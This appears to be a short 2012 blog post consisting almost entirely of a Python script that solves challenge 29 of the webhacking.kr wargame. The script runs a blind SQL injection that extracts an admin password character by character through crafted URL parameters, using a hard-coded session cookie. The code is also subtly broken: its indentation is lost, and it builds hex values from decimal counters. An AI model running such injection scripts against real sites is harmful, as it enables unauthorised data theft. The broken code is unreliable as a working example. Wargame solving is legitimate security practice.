2012. 7. 12. 03:23

import urllib.request

import re


#url_head = "http://webhacking.kr/challenge/web/web-29/index.php?no=2i%7c%7csubstring(id,1,1)=0x61"

e=1

while 1 :

url_head = "http://webhacking.kr/challenge/web/web-29/index.php?no=2%7c%7csubstring(id,1,1)=0x61%26%26substring(pw,"+str(e)+",1)=0x"

url_tail = "&id=guest&pw=guest"

cookie='PHPSESSID=0e8d276d5b26e1bae81c9e839f5659aa; notice=yes'

headers = {'Cookie':cookie}

z=1

while 1:  

url = url_head + str(z) + url_tail

req = urllib.request.Request(url, None, headers)

res = urllib.request.urlopen(req)

html = str(res.read())

# print(html)

# if re.findall('Failure',html):

if re.findall('admin password',html):

print(str(e)+":"+str(z))

break

if (z>255):

print(str(e)+"is empty")

break

z+=1

e+=1

print("----------------------------------------");

Posted by k1rha